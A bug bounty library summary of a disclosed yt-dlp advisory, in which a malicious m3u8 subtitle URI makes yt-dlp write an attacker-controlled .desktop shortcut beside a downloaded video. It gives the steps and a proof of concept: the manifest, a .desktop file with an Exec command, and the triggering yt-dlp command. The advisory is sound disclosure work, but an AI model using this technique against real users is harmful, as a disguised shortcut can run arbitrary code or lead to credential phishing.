# yt-dlp: Dangerous file type creation via insufficient filename sanitization (Bypass of CVE-2024-38519)

yt-dlp's extension allowlist still permitted .desktop/.url/.webloc, so a malicious m3u8 subtitle URI writes an attacker-controlled OS-shortcut file next to the video.

- Payout: Research
- Severity: high
- Program: yt-dlp
- Found by: pavanchow
- Disclosed: 2026-06-16
- CVE: CVE-2026-50023
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-c6mh-fpjc-4pr3
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-c6mh-fpjc-4pr3
- Tags: area:os domain:desktop impact:rce kind:research platform:ghsa sev:high tech:curl tech:python technique:incomplete-fix vuln:file-upload vuln:path-traversal

**Target:** yt-dlp CLI downloader / m3u8 subtitle extraction
**Root cause:** The CVE-2024-38519 fix allowlisted .desktop, .url and .webloc globally to preserve --write-link, but extractors derive output extensions from attacker-controlled sources (e.g. EXT-X-MEDIA SUBTITLES URI), so those extensions can be written during normal media/subtitle downloads.
**Steps:**
1. Host `master.m3u8` containing `#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en"`
2. Host `payload.desktop` with `[Desktop Entry]` / `Type=Application` / `Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"`
3. Run `yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8"`
4. yt-dlp writes `MyVideo.en.desktop` containing the attacker payload next to the video
**How found:** Reporter reviewed the CVE-2024-38519 extension allowlist and noticed .desktop/.url/.webloc were explicitly permitted for --write-link, then traced extractors that derive output extensions from attacker-controlled manifest fields (m3u8 EXT-X-MEDIA URI) to reach those extensions outside the --write-link path.
**Exploitation:** Attacker controls the m3u8 subtitle URI; victim runs yt-dlp with --write-subs (or related sub/thumbnail options), causing a malicious .desktop/.url/.webloc shortcut to be written beside the media. Hidden extensions on Windows/many Linux desktops make the shortcut look like a subtitle file; opening it executes the embedded Exec command or redirects to a phishing/remote-executable URL.
**Escalation:** Social engineering via disguised shortcut file placed in the user's download directory; opening yields arbitrary code execution or credential phishing.
**Insight:** When a fix allowlists dangerous extensions for one feature, check every other code path that derives an output filename/extension from remote input (manifests, headers, metadata) — the allowlist becomes a global capability, not a feature-scoped one.

## Proof of concept (copied exactly from the original report)

**Malicious m3u8 manifest with .desktop subtitle URI**

```
#EXTM3U
#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en"
And host the `payload.desktop` file with malicious content:
```

**Malicious .desktop payload with Exec command**

```
[Desktop Entry]
Type=Application
Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"
Name=Subtitle
```

**yt-dlp command triggering the exploit**

```
yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8"
```